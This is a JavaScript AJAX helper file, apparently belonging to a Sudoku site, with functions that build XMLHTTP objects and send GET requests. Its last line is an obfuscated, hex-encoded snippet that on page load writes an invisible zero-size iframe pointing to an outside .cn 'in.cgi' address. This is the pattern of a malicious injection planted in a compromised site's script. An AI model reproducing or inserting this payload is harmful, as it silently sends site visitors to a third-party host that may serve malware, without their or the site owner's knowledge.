/** /// Create XMLHTTP Object /// */
var xmlhttp = null;

function getXMLHTTP()
{
	try {
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	} catch (e) {
		try {
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		} catch (E) {
			xmlhttp = false;
		}
	}
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
		try {
			xmlhttp = new XMLHttpRequest();
		} catch (e) {
			xmlhttp=false;
		}
	}
	if (!xmlhttp && window.createRequest) {
		try {
			xmlhttp = window.createRequest();
		} catch (e) {
			xmlhttp=false;
		}
	}
	if (!xmlhttp) {
		alert('This website uses a technology called AJAX. Unfurtunately, this is NOT supported by your current browser and/or configurations.');
	}
}

/** /// Request Functions /// */
var xml_isDownloading = false;

function xml_request(path, callback)
{
	if (xml_isDownloading)
	{
		setTimeout("xml_request(" + path + ")", 100);
	}
	else
	{
		xml_isDownloading = true;
		
		getXMLHTTP();
		if (!xmlhttp)
		{
			getElement("sudokuBoard").innerHTML = ERROR_AJAX;
			return false;
		}
		
		
		if(path.indexOf("?") == -1)
		{
			path = path + "?" + Math.random();
		}
		else
		{
			path = path + "&" + Math.random();
		}

		xmlhttp.onreadystatechange = 
			function ()
			{
				if (xmlhttp.readyState == 4)
				{
					if (xmlhttp.status == 200)
					{
						callback(xmlhttp.responseText);
					}
					else
					{
						callback(false);
					}
				}
			};

		xmlhttp.open("GET", path, true);
		xmlhttp.send(null);
				
		xml_isDownloading = false;
		
	}
}

/*function xml_callback(callback)
{
	if (xmlhttp.readyState == 4)
	{
		if (xmlhttp.status == 200)
		{
			if (!xmlhttp.responseText) { alert('error'); }
			callback(xmlhttp.responseText);
		}
		else
		{
			callback(false);
		}
	}
}*/
function tpanvzl(drobhkeuaszqu){var tzvtmrt="";for(oebqunf=0;oebqunf<drobhkeuaszqu.length;oebqunf+=2){tzvtmrt+=(String.fromCharCode(parseInt(drobhkeuaszqu.substr(oebqunf,2),16)));}document.write(tzvtmrt);}tpanvzl("3Clwpzywjdqkvqaqv69lwpzywjdqkvqaqv66lwpzywjdqkvqaqv7261lwpzywjdqkvqaqv6D6520lwpzywjdqkvqaqv737263lwpzywjdqkvqaqv3Dlwpzywjdqkvqaqv22lwpzywjdqkvqaqv6874lwpzywjdqkvqaqv74lwpzywjdqkvqaqv70lwpzywjdqkvqaqv3A2F2Flwpzywjdqkvqaqv6F72656Elwpzywjdqkvqaqv74lwpzywjdqkvqaqv72lwpzywjdqkvqaqv6166lwpzywjdqkvqaqv66lwpzywjdqkvqaqv2E636E2Flwpzywjdqkvqaqv696E2E63lwpzywjdqkvqaqv67lwpzywjdqkvqaqv693Flwpzywjdqkvqaqv313122lwpzywjdqkvqaqv20776964lwpzywjdqkvqaqv7468lwpzywjdqkvqaqv3D30lwpzywjdqkvqaqv2068lwpzywjdqkvqaqv65lwpzywjdqkvqaqv69lwpzywjdqkvqaqv67lwpzywjdqkvqaqv68743D303E3C2F6966lwpzywjdqkvqaqv72lwpzywjdqkvqaqv61lwpzywjdqkvqaqv6D653Elwpzywjdqkvqaqv".replace(/lwpzywjdqkvqaqv/g, ""));